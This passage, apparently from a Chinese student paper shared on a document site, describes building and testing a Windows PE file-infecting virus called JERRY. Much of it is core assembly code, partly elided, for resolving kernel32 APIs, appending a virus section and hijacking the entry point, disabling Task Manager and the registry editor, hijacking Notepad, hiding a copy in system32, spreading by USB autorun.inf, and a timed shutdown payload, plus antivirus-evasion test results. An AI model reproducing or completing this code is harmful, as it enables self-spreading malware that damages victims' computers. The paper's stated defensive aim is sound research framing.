開始位置。上節(jié)在文件中的開始位置+上節(jié)對齊后的大小=本節(jié)(即病毒)在文件中的開始位置。f)修改映像文件頭中的節(jié)表數(shù)目。g)修改AddressOfEntryPoint(即程序入口點(diǎn)指向病毒入口位置),同時保存舊的AddressOfEntryPoint,以便返回HOST繼續(xù)執(zhí)行。h)更新SizeOfImage(內(nèi)存中整個PE映像尺寸=原SizeOfImage+病毒節(jié)經(jīng)過內(nèi)存節(jié)對齊后的大小)。i)寫入感染標(biāo)記(后面例子中是放在PE頭中)。j)寫入病毒代碼到新添加的節(jié)中。k)將當(dāng)前文件位置設(shè)為文件末尾。PE病毒感染其他文件的方法還有很多,譬如PE病毒還可以將自己分散插入到每個節(jié)的空隙中,他的好處就是病毒不增長,但難度較大。3.文件感染需要注意的細(xì)節(jié)為了提高自己的生存能力,病毒是不應(yīng)該破壞HOST程序的,既然如此,病毒應(yīng)該在病毒執(zhí)行完畢后,立刻將控制權(quán)交給HOST程序。返回HOST程序相對來說比較簡單,病毒在修改被感染文件代碼開始執(zhí)行位置(AddressOfEntryPoint)時,應(yīng)該保存原來的值,這樣,病毒在執(zhí)行完病毒代碼之后用一個跳轉(zhuǎn)語句跳到這段代碼處繼續(xù)執(zhí)行即可。注意,在這里,病毒先會做出一個“現(xiàn)在執(zhí)行程序是否為病毒啟動程序”的判斷,如果不是啟動程序,病毒才會返回HOST程序,否則繼續(xù)執(zhí)行程序其它部分。4WindowsPE文件病毒的研究及實現(xiàn)4.1病毒程序?qū)崿F(xiàn)4.1.1病毒程序編寫背景21世紀(jì)是信息的時代,信息成為一種重要的戰(zhàn)略資源,信息科學(xué)成為最活躍學(xué)科領(lǐng)域之一,信息技術(shù)改變著人們的生活和工作方式,信息產(chǎn)業(yè)成為新的經(jīng)濟(jì)增長點(diǎn)。信息的安全保障能力成為一個國家綜合國力的重要組成部分。隨著計算機(jī)和互聯(lián)網(wǎng)技術(shù)的快速發(fā)展和廣泛應(yīng)用,計算機(jī)網(wǎng)絡(luò)系統(tǒng)的安全受到嚴(yán)重的挑戰(zhàn),來自計算機(jī)病毒和黑客的攻擊及其其他方面的威脅越來越大。其中,計算機(jī)病毒更是計算機(jī)安全中很難根治的主要威脅之一。通過對計算機(jī)病毒的認(rèn)識,研究以達(dá)到更加深刻地了解病毒,只有了解計算機(jī)病毒的原理,掌握計算機(jī)病毒的防治技術(shù),正確認(rèn)識計算機(jī)病毒,才可更加有效地對抗計算機(jī)病毒和減少計算機(jī)病毒帶來的損失。4.1.2病毒程序基本功能介紹1.傳播性①實現(xiàn)對本機(jī)指定EXE文件的感染,本機(jī)被病毒感染的EXE程序在正常運(yùn)行時會激活病毒并繼續(xù)感染下一個需要感染的EXE程序,且在不滿足發(fā)作條件的情況下可以正常運(yùn)行,并無異樣。②主機(jī)間的傳播通過U盤來傳播,在本機(jī)已經(jīng)感染的情況下,如果有U盤已經(jīng)插入,則會感染U盤,如果用戶下次在另一臺主機(jī)上使用U盤若警惕行不高,則極容易被感染病毒。2.潛伏性①病毒在固定的一個時間段內(nèi)發(fā)作,病毒文件也為系統(tǒng)文件并且隱藏,有一定的隱蔽性,病毒會寄生在HOST中,和系統(tǒng)目錄下,只有在滿足發(fā)作條件時才會影響用戶使用。其他時候,程序都能正常使用。3.破壞性①在主機(jī)感染了病毒程序后,任務(wù)管理器會被禁用、注冊表無法打開。②記事本程序無法運(yùn)行,每直接運(yùn)行一次NOTEPAD.EXE都會激活一次病毒程序。③WinRAR被感染,每使用WinRAR都可能激活一次病毒。④病毒發(fā)作時會出現(xiàn)中病毒的提示框,并顯示病毒的長度。⑤病毒發(fā)作時會自動關(guān)機(jī)。4.1.3病毒程序編寫環(huán)境WindowsXP操作系統(tǒng)VMwareWorkstation虛擬機(jī)UltraEdit-32文本編輯器masm32v8編譯器OllyDbg動態(tài)跟蹤調(diào)試器4.1.4病毒程序簡要流程框圖框圖將程序的5個模塊的功能流程做了粗略的表達(dá)。如圖1。4.1.5病毒程序主模塊-JERRY.ASM主模塊實現(xiàn)病毒的重定位,查找Kernel32基地址,調(diào)用SearchAPI搜索相應(yīng)的API函數(shù)地址,文件操作,調(diào)用Modify_PE感染HOST文件,調(diào)用EffectU感染主機(jī)和U盤,調(diào)用Burst發(fā)作。流程參照圖1。圖1主程序流程圖4.1.6病毒程序搜索API函數(shù)模塊-SearchAPI.ASM圖1主程序流程圖1.基本流程圖通過已知函數(shù)名稱和Kerner32引出表來查找所需API函數(shù)地址并存放,方便以后使用。相關(guān)理論知識參照2.2.4獲取API函數(shù)地址?;舅阉髁鞒倘鐖D2。2.核心代碼 leaedi,[ebp+aGetModuleHandle];EDI指向API函數(shù)地址存放位置 leaesi,[ebp+lpApiAddrs];ESI指向API函數(shù)名字串偏移地址Loop_Get_API: lodsd;EAX,DS:ESI cmpeax,0 jzEnd_Get_API addeax,ebp pusheax;第一次EAX中放著GetModuleHandleA函數(shù)名字串的真實位置 pushdwordptr[ebp+k32Base];kernel32.dll基地址 callGetAPIAdd;SearchAPI.asm中過程GetAPIAproto:DWORD,:DWORD stosd jmpLoop_Get_API;獲得API地址,參見SearchAPI.asm文件End_Get_API:圖2SearchAPI運(yùn)行流程圖4.1.7病毒程序感染EXE文件模塊-Modify_PE.ASM圖2SearchAPI運(yùn)行流程圖1.基本流程圖這是病毒將自身寄生到HOST中,感染部分的模塊。基本感染流程如圖3。圖3Modify_PE運(yùn)行流程圖2.核心代碼圖3Modify_PE運(yùn)行流程圖cmpwordptr[esi],'ZM';PE文件判斷第一步j(luò)neCouldNotInfectcmpwordptr[esi],'EP';PE文件判斷第二步j(luò)neCouldNotInfectcmpdwordptr[esi+8],'JERR';文件是否已經(jīng)感染jeLoop_Get_Path;如果已經(jīng)感染過了,試圖感染下一個指定文件……mov[ebp+pe_Header],esi;保存pe_Header指針movecx,[esi+74h];得到directory的數(shù)目imulecx,ecx,8leaeax,[ecx+esi+78h];eax=datadirectory結(jié)束地址=節(jié)表起始地址movzxecx,wordptr[esi+6h];節(jié)數(shù)目imulecx,ecx,28h;得到所有節(jié)表的大小addeax,ecx;節(jié)結(jié)尾xchgeax,esi;eax->Pe_header,esi->最后節(jié)開始偏移(即病毒節(jié)開始處);以上得到了新節(jié)的起始地址,以下是利用起始對病毒節(jié)的操作movdwordptr[esi],'REJ.';節(jié)名.JERRYmovdwordptr[esi+8],VirusLen;節(jié)的實際大小……movdwordptr[esi+10h],eax;保存節(jié)對齊文件后的大小moveax,[esi-40+14h]addeax,[esi-40+10h]mov[esi+14h],eax;PointerToRawData更新mov[ebp+oldEnd],eax;病毒代碼往HOST文件中的寫入點(diǎn)moveax,[ebp+pe_Header]incwordptr[eax+6h];更新節(jié)數(shù)目movebx,[eax+28h];eip指針偏移mov[ebp+oldEip],ebx;保存老指針movebx,[ebp+newEip];使HOST程序首先執(zhí)行病毒程序mov[eax+28h],ebx;更新指針值movebx,[eax+50h];更新ImageSizeaddebx,VirusLen……mov[eax+50h],ebx;確保更新后的Image_Size大小=(原Image_size+病毒長度)對齊后的長度movdwordptr[eax+8],'JERR';病毒感染標(biāo)志直接寫到被感染文件的PE頭中cldmovecx,VirusLenmovedi,[ebp+oldEnd]addedi,[ebp+pMem]leaesi,[ebp+vBegin]repmovsb;將病毒代碼寫入目標(biāo)文件新建的節(jié)中!……push[ebp+hFile]call[ebp+aSetFilePointer];設(shè)定文件讀寫指針push[ebp+hFile]call[ebp+aSetEndOfFile];將當(dāng)前文件位置設(shè)為文件末尾4.1.8病毒程序感染及U盤傳播模塊-EffectU.ASM1.基本流程圖本模塊是主要的不發(fā)作的破壞模塊,包括禁用注冊表,禁用任務(wù)管理器,關(guān)聯(lián)NOTEPDA.EXE,把自己隱藏并存放到系統(tǒng)目錄下,傳播U盤等。如圖4。本模塊的程序流程圖如圖4所示。圖4EffectU運(yùn)行流程圖2.核心代碼圖4EffectU運(yùn)行流程圖call[ebp+aLoadLibrary];導(dǎo)入advapi32.dll鏈接庫movebx,eaxleaedx,[ebp+sRegOpenKeyExA]pushedxpushebxcall[ebp+aGetProcAddress];獲取RegOpenKeyExA函數(shù)的地址……call[ebp+aRegOpenKeyExA];修改注冊表與NOTEPAD.EXE關(guān)聯(lián)……call[ebp+aRegSetValueExA]……pushFALSEleaeax,[ebp+destinationaddr]pusheaxleaeax,[ebp+sourceaddr]pusheaxcall[ebp+aCopyFileA];把JERRY.EXE拷貝到C:WINDOWS\system32\JERRY.EXE;pushFILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_HIDDENleaeax,[ebp+destinationaddr]pusheaxcall[ebp+aSetFileAttributes]……call[ebp+aGetDriveTypeA];取得U盤的盤符cmpeax,DRIVE_REMOVABLE……call[ebp+aCopyFileA];拷貝文件\system32\JERRY.exe到#:\JERRY.EXE……pushFILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_HIDDEN……pushGENERIC_READ+GENERIC_WRITEcall[ebp+aCreateFile];生成空#:\autorun.inf……call[ebp+aWriteFile];為anturun.inf寫入內(nèi)容……4.1.9病毒程序發(fā)作模塊-Burst.ASM1.基本流程圖病毒會取系統(tǒng)時間并選擇在合適的時間發(fā)作,發(fā)作的征兆有提示框,關(guān)機(jī)。2.核心代碼call[ebp+aLoadLibrary];導(dǎo)入user32.dll鏈接庫movebx,eaxleaedx,[ebp+sMessageBoxA]pushedxpusheaxcall[ebp+aGetProcAddress];獲取MessageBoxA函數(shù)的地址……leaeax,[ebp+Time];23:20-23:59分之間發(fā)作pusheaxcall[ebp+aGetSystemTime]cmp[ebp+Time].wHour,0FhjnzNo_Infectcmp[ebp+Time].wMinute,3BhjaNo_Infectcmp[ebp+Time].wMinute,14hjbNo_Infect……push0call[ebp+aMessageBoxA]……pushSW_SHOWleaeax,[ebp+shutdown]圖5Burst運(yùn)行流程圖pusheax圖5Burst運(yùn)行流程圖call[ebp+aWinExec]4.2病毒程序測試4.2.1病毒程序測試環(huán)境1.環(huán)境一系統(tǒng):MicrosoftWindowsXPProfessionalServicePack2主機(jī):AMDAthlon(tm)64Processor2800+1G內(nèi)存2.環(huán)境二系統(tǒng):MicrosoftWindowsXPProfessionalServicePack2主機(jī):AMDsempron(tm)2400+512M內(nèi)存3.環(huán)境三系統(tǒng):MicrosoftWindowsXPProfessionalServicePack2主機(jī):Pentium-M1.6GHZ512M內(nèi)存4.2.2病毒程序測試過程圖6主機(jī)感染測試測試一主機(jī)感染測試圖6主機(jī)感染測試主機(jī)未被感染,U盤已帶毒,用戶使用U盤造成感染。測試一流程如圖6。測試二主機(jī)已經(jīng)感染,U盤未帶毒,用戶在適當(dāng)?shù)臋C(jī)會下是否造成U盤感染。測試二流程如圖7。圖7主機(jī)運(yùn)行及U盤感染測試流程圖測試三圖7主機(jī)運(yùn)行及U盤感染測試流程圖圖8殺毒軟件測試流程圖針對時下各種比較流行的且較新的殺毒軟件進(jìn)行測試,其中包括是否查殺、是否能夠在殺毒軟件監(jiān)控下運(yùn)行等。測試三流程如圖8。圖8殺毒軟件測試流程圖4.2.2病毒程序測試結(jié)果4.2.21.注冊表操作(測試結(jié)果1)圖9注冊表禁用提示框運(yùn)行項輸入“regedit”并回車,出現(xiàn)以下錯誤提示框,如圖9。圖9注冊表禁用提示框2.任務(wù)管理器操作(測試結(jié)果2)圖10任務(wù)管理器禁用提示框CTRL+ALT+DEL運(yùn)行任務(wù)管理器,出現(xiàn)以下錯誤提示框,如圖10。圖10任務(wù)管理器禁用提示框3.記事本操作(測試結(jié)果3)無論是新建文本文檔還是點(diǎn)已有的記事本程序,雙擊都無法打開,且激發(fā)病毒運(yùn)行,且如果滿足發(fā)作條件下,程序出現(xiàn)以下提示框并且關(guān)機(jī)。如圖11、圖12。4.WinRAR操作(測試結(jié)果4)WinRAR能夠正常運(yùn)行,操作不受影響,但會激發(fā)病毒再次運(yùn)行,且如果滿足發(fā)作條件則會出現(xiàn)測試3的情況出現(xiàn)提示框并關(guān)機(jī)。如如圖11、圖12。5.滿足發(fā)作條件操作(測試結(jié)果5)無論是運(yùn)行病毒本體,還是運(yùn)行被病毒感染了的文件,或者試圖打開記事本程序,都會導(dǎo)致出現(xiàn)消息提示框并且關(guān)機(jī)。如如圖11、圖12。6.感染主機(jī)情況(測試結(jié)果6)①病毒一旦運(yùn)行會試圖關(guān)聯(lián)NOTEPAD.EXE,致使在下次打開.TXT文件時再次激活病毒。②會修改本機(jī)注冊表的鍵值,導(dǎo)致CTRL+ALT+DEL無法打開任務(wù)管理器。③會修改本機(jī)注冊表的鍵值,導(dǎo)致運(yùn)行欄輸入regedit無法打開注冊表編輯器。④會在本機(jī)C:\WINDOWS\system32\目錄下駐留病毒文件JERRY.EXE,方便感染和運(yùn)行。⑤修改安裝在默認(rèn)路徑下的WinRAR文件,WinRAR文件增長4KB。圖11發(fā)作提示框圖11發(fā)作提示框圖12發(fā)作關(guān)機(jī)提示框4.2.21.用戶使用記事本程序(測試結(jié)果7)2.用戶使用WinRAR(測試結(jié)果8)無論是測試7還是測試8,在U盤下都能生成一個JERRY.EXE和autorun.inf文件,并且文件屬性為系統(tǒng)文件,且不可見。U盤取下可再用與傳染其他主機(jī)3.任務(wù)管理器操作(測試結(jié)果9)4.注冊表操作(測試結(jié)果10)測試9、10均和測試2、1結(jié)果一致。5.滿足發(fā)作條件操作(測試結(jié)果11)測試11和測試5

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論